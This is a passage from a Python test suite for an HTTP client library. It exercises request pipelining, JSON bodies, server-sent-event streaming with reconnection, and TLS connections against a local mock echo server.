null}') ixBeta.tx(msgOut) while ixBeta.txbs or not beta.respondent.ended: alpha.serviceSendsAllIx() time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': {'Content-Length': '122', 'Content-Type': 'application/json', 'Date': 'Thu, 30 Apr 2015 19:37:17 GMT', 'Server': 'IoBook.local'}, 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': {'Accept': 'application/json'}, 'body': b'', 'host': '127.0.0.1', 'port': 6101, 'scheme': 'http', 'data': None, 'fargs': None}, 'errored': False, 'error': None} # resend request in pipeline mode beta.requests.append(request) while ( beta.requests or beta.connector.txbs) and not ixBeta.rxbs : beta.service() time.sleep(0.05) alpha.serviceReceivesAllIx() time.sleep(0.05) msgIn = bytes(ixBeta.rxbs) assert msgIn == (b'GET /echo?name=fame HTTP/1.1\r\n' b'Host: 127.0.0.1:6101\r\n' b'Accept-Encoding: identity\r\n' b'Accept: application/json\r\n\r\n') ixBeta.clearRxbs() # build response msgOut =( b'HTTP/1.1 200 OK\r\n' b'Content-Length: 122\r\n' b'Content-Type: application/json\r\n' b'Date: Thu, 30 Apr 2015 19:37:17 GMT\r\n' b'Server: IoBook.local\r\n\r\n' b'{"content": null, ' b'"query": {"name": "fame"}, ' b'"verb": "GET", ' b'"url": "http://127.0.0.1:8080/echo?name=fame", ' b'"action": null}') ixBeta.tx(msgOut) while ixBeta.txbs or not beta.respondent.ended: alpha.serviceSendsAllIx() time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': {'Content-Length': '122', 'Content-Type': 'application/json', 'Date': 'Thu, 30 Apr 2015 19:37:17 GMT', 'Server': 'IoBook.local'}, 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'action': None, 'content': None, 'query': {'name': 'fame'}, 'url': 'http://127.0.0.1:8080/echo?name=fame', 'verb': 'GET'}, 'error': None, 'errored': False, 'request': {'host': '127.0.0.1', 'port': 6101, 'scheme': 'http', 'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': {'Accept': 'application/json'}, 'body': b'', 'data': None, 'fargs': None, } } alpha.close() beta.close() def test_client_pipeline_echo_simple(): """ Test CLient pipeline servicing """ alpha = tcp.Server(port = 6101, bufsize=131072) assert alpha.reopen() assert alpha.ha == ('0.0.0.0', 6101) assert alpha.eha == ('127.0.0.1', 6101) host = alpha.eha[0] port = alpha.eha[1] method = u'GET' path = u'/echo?name=fame' headers = dict([('Accept', 'application/json')]) beta = clienting.Client(bufsize=131072, hostname=host, port=port, method=method, path=path, headers=headers, ) assert beta.reopen() assert not beta.connector.accepted assert not beta.connector.connected assert not beta.connector.cutoff # connect Client Beta to Server Alpha while True: beta.connector.serviceConnect() alpha.serviceConnects() if beta.connector.connected and beta.connector.ca in alpha.ixes: break time.sleep(0.05) assert beta.connector.accepted assert beta.connector.connected assert not beta.connector.cutoff assert beta.connector.ca == beta.connector.cs.getsockname() assert beta.connector.ha == beta.connector.cs.getpeername() assert alpha.eha == beta.connector.ha ixBeta = alpha.ixes[beta.connector.ca] assert ixBeta.ca is not None assert ixBeta.cs is not None assert ixBeta.cs.getsockname() == beta.connector.cs.getpeername() assert ixBeta.cs.getpeername() == beta.connector.cs.getsockname() assert ixBeta.ca == beta.connector.ca assert ixBeta.ha, beta.connector.ha request = dict([('method', u'GET'), ('path', u'/echo?name=fame'), ('qargs', dict()), ('fragment', u''), ('headers', dict([('Accept', 'application/json')])), ('body', None), ]) beta.requests.append(request) while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockEchoService(alpha) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.respond() # returns next response from .responses assert response == clienting.Response(version=(1, 1), status=200, reason='OK', headers=Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), body=bytearray(b'{"content": null, ' b'"query": {"name": "fame"}, ' b'"verb": "GET", ' b'"url": "http://127.0.0.1:8080/echo?name=fame", ' b'"action": null}'), data={'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, request={'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'host': '127.0.0.1', 'port': 6101, 'scheme': 'http', 'data': None, 'fargs': None}, errored=False, error=None) # pipeline request to send again beta.requests.append(request) while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockEchoService(alpha) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'host': '127.0.0.1', 'port': 6101, 'scheme': 'http', 'data': None, 'fargs': None}, 'errored': False, 'error': None} alpha.close() beta.close() def test_client_echo_simple_host_port_path(): """ Test Client Simple First time request pattern """ alpha = tcp.Server(port = 6101, bufsize=131072) assert alpha.reopen() assert alpha.ha == ('0.0.0.0', 6101) assert alpha.eha == ('127.0.0.1', 6101) host = alpha.eha[0] port = alpha.eha[1] method = u'GET' path = u'/echo?name=fame' headers = dict([('Accept', 'application/json')]) beta = clienting.Client(bufsize=131072, hostname=host, port=port, method=method, path=path, headers=headers, ) assert beta.reopen() assert not beta.connector.accepted assert not beta.connector.connected assert not beta.connector.cutoff beta.transmit() while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockEchoService(alpha) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'host': '127.0.0.1', 'port': 6101, 'scheme': 'http', 'method': 'GET', 'path': '/echo', 'fragment': '', 'qargs': {'name': 'fame'}, 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'data': None, 'fargs': None}, 'errored': False, 'error': None} beta.request(method=u'GET', path=u'/echo?name=fame', headers=dict([('Accept', 'application/json')])) while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockEchoService(alpha) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'data': None, 'fargs': None, 'host': '127.0.0.1', 'port': 6101, 'scheme': 'http'}, 'errored': False, 'error': None} alpha.close() beta.close() def test_client_pipline_echo_simple_path_scheme(): """ Test Client pipeline servicing using path components for host port scheme """ alpha = tcp.Server(port = 6101, bufsize=131072) assert alpha.reopen() assert alpha.ha == ('0.0.0.0', 6101) assert alpha.eha == ('127.0.0.1', 6101) path = "http://{0}:{1}/".format('localhost', alpha.eha[1]) # needed for connect # method and headers set in request beta = clienting.Client(bufsize=131072, path=path, reconnectable=True, # do not close connection ) assert beta.reopen() assert not beta.connector.accepted assert not beta.connector.connected assert not beta.connector.cutoff request = dict([('method', u'GET'), ('path', u'/echo?name=fame'), ('qargs', dict()), ('fragment', u''), ('headers', dict([('Accept', 'application/json')])), ('body', None), ]) beta.requests.append(request) while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockEchoService(alpha) # mockEchoServiceLocalhost time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'host': 'localhost', 'port': 6101, 'scheme': 'http', 'data': None, 'fargs': None}, 'errored': False, 'error': None} beta.requests.append(request) # pipeline request while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockEchoService(alpha) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'host': 'localhost', 'port': 6101, 'scheme': 'http', 'data': None, 'fargs': None}, 'errored': False, 'error': None} alpha.close() beta.close() def test_client_pipeline_echo_simple_path_track(): """ Test Client pipeline servicing using path components for host port scheme Request includes tracking information that is included in reponses copy of request """ alpha = tcp.Server(port = 6101, bufsize=131072) assert alpha.reopen() assert alpha.ha == ('0.0.0.0', 6101) assert alpha.eha == ('127.0.0.1', 6101) path = "http://{0}:{1}/".format('localhost', alpha.eha[1]) # needed for connect # method and headers set in request beta = clienting.Client(bufsize=131072, path=path, reconnectable=True, # do not close connection ) assert beta.reopen() assert not beta.connector.accepted assert not beta.connector.connected assert not beta.connector.cutoff request = dict([('method', u'GET'), ('path', u'/echo?name=fame'), ('qargs', dict()), ('fragment', u''), ('headers', dict([('Accept', 'application/json')])), ('body', None), ('mid', 1), # tracking ('drop', '.stuff.reply'), # tracking ]) beta.requests.append(request) while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockEchoService(alpha) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'mid': 1, 'drop': '.stuff.reply', 'host': 'localhost', 'port': 6101, 'scheme': 'http', 'data': None, 'fargs': None}, 'errored': False, 'error': None} request.update(mid=2, drop='.puff.reply') beta.requests.append(request) while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockEchoService(alpha) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'mid': 2, 'drop': '.puff.reply', 'host': 'localhost', 'port': 6101, 'scheme': 'http', 'data': None, 'fargs': None}, 'errored': False, 'error': None} alpha.close() beta.close() def test_client_pipeline_echo_json(): """ Test Client pipeline servicing using path components for host port scheme with json body in data Request includes tracking information that is included in reponses copy of request """ alpha = tcp.Server(port = 6101, bufsize=131072) assert alpha.reopen() assert alpha.ha == ('0.0.0.0', 6101) assert alpha.eha == ('127.0.0.1', 6101) path = "http://{0}:{1}/".format('localhost', alpha.eha[1]) # needed for connect # method and headers set in request beta = clienting.Client(bufsize=131072, path=path, reconnectable=True, # do not close connection ) assert beta.reopen() assert not beta.connector.accepted assert not beta.connector.connected assert not beta.connector.cutoff request = dict([('method', u'PUT'), ('path', u'/echo?name=fame'), ('qargs', dict()), ('fragment', u''), ('headers', dict([('Accept', 'application/json')])), ('data', dict([("first", "John"), ("last", "Smith")])), ('mid', 1), ('drop', '.stuff.reply'), ]) beta.requests.append(request) while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockEchoServiceJson(alpha) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'method': 'PUT', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json'), ('content-type', 'application/json; charset=utf-8')]), 'data': {'first': 'John', 'last': 'Smith'}, 'mid': 1, 'drop': '.stuff.reply', 'host': 'localhost', 'port': 6101, 'scheme': 'http', 'body': b'', 'fargs': None}, 'errored': False, 'error': None} request.update(mid=2, drop='.puff.reply') beta.requests.append(request) while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockEchoServiceJson(alpha) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'method': 'PUT', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json'), ('content-type', 'application/json; charset=utf-8')]), 'data': {'first': 'John', 'last': 'Smith'}, 'mid': 2, 'drop': '.puff.reply', 'host': 'localhost', 'port': 6101, 'scheme': 'http', 'body': b'', 'fargs': None}, 'errored': False, 'error': None} alpha.close() beta.close() def test_client_pipeline_sse_stream(): """ Test Client pipeline stream sse """ tymist = tyming.Tymist(tyme=0.0) alpha = tcp.Server(port = 6101, bufsize=131072, tymth=tymist.tymen()) assert alpha.reopen() assert alpha.ha == ('0.0.0.0', 6101) assert alpha.eha == ('127.0.0.1', 6101) host = alpha.eha[0] port = alpha.eha[1] beta = clienting.Client(bufsize=131072, hostname=host, port=port, tymth=tymist.tymen(), # passed through to connector reconnectable=True, # passed through to connector tymeout=1.0, # passed through to connector ) assert beta.reopen() assert not beta.connector.accepted assert not beta.connector.connected assert not beta.connector.cutoff while True: beta.service() alpha.serviceConnects() if beta.connector.connected and beta.connector.ca in alpha.ixes: break time.sleep(0.05) tymist.tick(tock=0.5) assert beta.connector.accepted assert beta.connector.connected assert not beta.connector.cutoff assert beta.connector.ca == beta.connector.cs.getsockname() assert beta.connector.ha == beta.connector.cs.getpeername() assert alpha.eha == beta.connector.ha ixBeta = alpha.ixes[beta.connector.ca] assert ixBeta.ca is not None assert ixBeta.cs is not None assert ixBeta.cs.getsockname() == beta.connector.cs.getpeername() assert ixBeta.cs.getpeername() == beta.connector.cs.getsockname() assert ixBeta.ca == beta.connector.ca assert ixBeta.ha == beta.connector.ha # build request request = dict([('method', u'GET'), ('path', u'/stream'), ('qargs', dict()), ('fragment', u''), ('headers', dict([('Accept', 'application/json')])), ('body', None), ]) beta.requests.append(request) while (beta.requests or beta.connector.txbs) and not ixBeta.rxbs: beta.service() time.sleep(0.05) tymist.tick(tock=0.5) alpha.serviceReceivesAllIx() time.sleep(0.05) tymist.tick(tock=0.5) msgIn = bytes(ixBeta.rxbs) assert msgIn == (b'GET /stream HTTP/1.1\r\n' b'Host: 127.0.0.1:6101\r\n' b'Accept-Encoding: identity\r\n' b'Accept: application/json\r\n\r\n') ixBeta.clearRxbs() # build response lines = [ b'HTTP/1.0 200 OK\r\n', b'Server: IoBook.local\r\n', b'Date: Thu, 30 Apr 2015 21:35:25 GMT\r\n' b'Content-Type: text/event-stream\r\n', b'Cache-Control: no-cache\r\n', b'Connection: close\r\n\r\n', b'retry: 1000\n\n', b'id: 0\ndata: START\n\n', b'id: 1\ndata: 1\ndata: 2\n\n', b'id: 2\ndata: 3\ndata: 4\n\n', b'id: 3\ndata: 5\ndata: 6\n\n', b'id: 4\ndata: 7\ndata: 8\n\n', ] msgOut = b''.join(lines) ixBeta.tx(msgOut) tymer = tyming.Tymer(tymth=tymist.tymen(), duration=0.5) while ixBeta.txbs or not tymer.expired: alpha.serviceSendsAllIx() time.sleep(0.05) tymist.tick(tock=0.5) beta.service() time.sleep(0.05) tymist.tick(tock=0.5) # tymer expired while stream still open so no responses in .responses assert not beta.connector.rxbs assert beta.waited assert not beta.respondent.ended assert len(beta.responses) == 0 # but events made it into in .events assert len(beta.events) == 5 assert beta.respondent.retry == 1000 assert beta.respondent.leid == '4' event = beta.events.popleft() assert event == {'id': '0', 'name': '', 'data': 'START'} event = beta.events.popleft() assert event == {'id': '1', 'name': '', 'data': '1\n2'} event = beta.events.popleft() assert event == {'id': '2', 'name': '', 'data': '3\n4'} event = beta.events.popleft() assert event == {'id': '3', 'name': '', 'data': '5\n6'} event = beta.events.popleft() assert event == {'id': '4', 'name': '', 'data': '7\n8'} assert not beta.events # shutdown alpha's ixBeta connection prematurely so beta must reconnect alpha.closeIx(beta.connector.ca) alpha.removeIx(beta.connector.ca) while True: beta.service() if not beta.connector.connected: break time.sleep(0.1) tymist.tick(tock=0.5) assert not beta.connector.cutoff # auto reconnect while True: beta.service() alpha.serviceConnects() if beta.connector.connected and beta.connector.ca in alpha.ixes: break time.sleep(0.05) tymist.tick(tock=0.5) assert beta.connector.accepted assert beta.connector.connected assert not beta.connector.cutoff assert beta.connector.ca == beta.connector.cs.getsockname() assert beta.connector.ha == beta.connector.cs.getpeername() assert alpha.eha == beta.connector.ha ixBeta = alpha.ixes[beta.connector.ca] assert ixBeta.ca is not None assert ixBeta.cs is not None assert ixBeta.cs.getsockname() == beta.connector.cs.getpeername() assert ixBeta.ca == beta.connector.ca assert ixBeta.ha == beta.connector.ha while (beta.requests or beta.connector.txbs) or not ixBeta.rxbs: beta.service() time.sleep(0.05) tymist.tick(tock=0.5) alpha.serviceReceivesAllIx() time.sleep(0.05) tymist.tick(tock=0.5) msgIn = bytes(ixBeta.rxbs) assert msgIn == (b'GET /stream HTTP/1.1\r\n' b'Host: 127.0.0.1:6101\r\n' b'Accept-Encoding: identity\r\n' b'Accept: application/json\r\n' b'Last-Event-Id: 4\r\n\r\n') ixBeta.clearRxbs() # resume response lines = [ b'HTTP/1.0 200 OK\r\n', b'Server: IoBook.local\r\n', b'Date: Thu, 30 Apr 2015 21:35:25 GMT\r\n' b'Content-Type: text/event-stream\r\n', b'Cache-Control: no-cache\r\n', b'Connection: close\r\n\r\n', b'id: 5\ndata: 9\ndata: 10\n\n', b'id: 6\ndata: 11\ndata: 12\n\n', ] msgOut = b''.join(lines) ixBeta.tx(msgOut) tymer = tyming.Tymer(tymth=tymist.tymen(), duration=0.5) while ixBeta.txbs or not tymer.expired: alpha.serviceSendsAllIx() time.sleep(0.05) tymist.tick(tock=0.5) beta.service() time.sleep(0.05) tymist.tick(tock=0.5) assert not beta.connector.rxbs #timed out while stream still open so no responses in .responses assert beta.waited assert not beta.respondent.ended assert len(beta.responses) == 0 # but are events in .events assert len(beta.events) == 2 assert beta.respondent.retry == 1000 assert beta.respondent.leid == '6' event = beta.events.popleft() assert event == {'id': '5', 'name': '', 'data': '9\n10'} event = beta.events.popleft() assert event == {'id': '6', 'name': '', 'data': '11\n12'} alpha.close() beta.close() def test_client_pipline_echo_simple_tls(): """ Test Client pipeline servicing with TlS """ #serverKeypath = '/etc/pki/tls/certs/server_key.pem' # local server private key #serverCertpath = '/etc/pki/tls/certs/server_cert.pem' # local server public cert #clientCafilepath = '/etc/pki/tls/certs/client.pem' # remote client public cert #clientKeypath = '/etc/pki/tls/certs/client_key.pem' # local client private key #clientCertpath = '/etc/pki/tls/certs/client_cert.pem' # local client public cert #serverCafilepath = '/etc/pki/tls/certs/server.pem' # remote server public cert serverKeypath = certdirpath + '/server_key.pem' # local server private key serverCertpath = certdirpath + '/server_cert.pem' # local server public cert clientCafilepath = certdirpath + '/client.pem' # remote client public cert clientKeypath = certdirpath + '/client_key.pem' # local client private key clientCertpath = certdirpath + '/client_cert.pem' # local client public cert serverCafilepath = certdirpath + '/server.pem' # remote server public cert serverCertCommonName = 'localhost' # match hostname uses servers's cert commonname alpha = tcp.ServerTls(host=serverCertCommonName, port = 6101, bufsize=131072, context=None, version=None, certify=None, keypath=serverKeypath, certpath=serverCertpath, cafilepath=clientCafilepath, ) assert alpha.reopen() assert alpha.ha == ('127.0.0.1', 6101) assert alpha.eha, ('127.0.0.1', 6101) host = alpha.eha[0] port = alpha.eha[1] beta = clienting.Client(hostname=serverCertCommonName, port=alpha.eha[1], bufsize=131072, scheme='https', reconnectable=True, certedhost=serverCertCommonName, keypath=clientKeypath, certpath=clientCertpath, cafilepath=serverCafilepath, ) assert beta.reopen() assert not beta.connector.accepted assert not beta.connector.connected assert not beta.connector.cutoff # build request request = dict([('method', u'GET'), ('path', u'/echo?name=fame'), ('qargs', dict()), ('fragment', u''), ('headers', dict([('Accept', 'application/json')])), ('body', None), ]) beta.requests.append(request) while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockEchoService(alpha) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'host': 'localhost', 'port': 6101, 'scheme': 'https', 'data': None, 'fargs': None}, 'errored': False, 'error': None} # pipeline another request beta.requests.append(request) while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockEchoService(alpha) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': Hict([('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')]), 'body': bytearray(b'{"content": null, "query": {"name": "fame"}, "verb": "GE' b'T", "url": "http://127.0.0.1:8080/echo?name=fame", "acti' b'on": null}'), 'data': {'content': None, 'query': {'name': 'fame'}, 'verb': 'GET', 'url': 'http://127.0.0.1:8080/echo?name=fame', 'action': None}, 'request': {'method': 'GET', 'path': '/echo', 'qargs': {'name': 'fame'}, 'fragment': '', 'headers': Hict([('Accept', 'application/json')]), 'body': b'', 'host': 'localhost', 'port': 6101, 'scheme': 'https', 'data': None, 'fargs': None}, 'errored': False, 'error': None} alpha.close() beta.close() def test_client_pipeline_echo_simple_path_tls(): """ Test Client pipeline servicing with path input and tls """ #serverKeypath = '/etc/pki/tls/certs/server_key.pem' # local server private key #serverCertpath = '/etc/pki/tls/certs/server_cert.pem' # local server public cert #clientCafilepath = '/etc/pki/tls/certs/client.pem' # remote client public cert #clientKeypath = '/etc/pki/tls/certs/client_key.pem' # local client private key #clientCertpath = '/etc/pki/tls/certs/client_cert.pem' # local client public cert #serverCafilepath = '/etc/pki/tls/certs/server.pem' # remote server public cert serverKeypath = certdirpath + '/server_key.pem' # local server private key serverCertpath = certdirpath + '/server_cert.pem' # local server public cert clientCafilepath = certdirpath + '/client.pem' # remote client public cert clientKeypath = certdirpath + '/client_key.pem' # local client private key clientCertpath = certdirpath + '/client_cert.pem' # local client public cert serverCafilepath = certdirpath + '/server.pem' # remote server public cert serverCertCommonName = 'localhost' # match hostname uses servers's cert commonname alpha = tcp.ServerTls(host=serverCertCommonName, port = 6101, bufsize=131072, context=None, version=None, certify=None, keypath=serverKeypath, certpath=serverCertpath, cafilepath=clientCafilepath, ) assert alpha.reopen() assert alpha.ha == ('127.0.0.1', 6101) assert alpha.eha, ('127.0.0.1', 6101) path = "https://{0}:{1}/".format(serverCertCommonName, alpha.eha[1]) beta = clienting.Client(path=path, bufsize=131072, reconnectable=True, keypath=clientKeypath, certpath=clientCertpath, cafilepath=serverCafilepath, ) assert beta.reopen() assert not beta.connector.accepted assert not beta.connector.connected assert not beta.connector.cutoff # build request request = dict([('method', u'GET'), ('path', u'/echo?name=fame'), ('qargs', dict()), ('fragment', u''), ('headers', dict([('Accept', 'application/json')])), ('body', None), ]) beta.requests.append(request) while (not alpha.ixes or beta.requests or beta.connector.txbs or not beta.respondent.ended): mockEchoService(alpha) time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses)== 1 response = beta.responses.popleft() assert response == {'version': (1, 1), 'status': 200, 'reason': 'OK', 'headers': 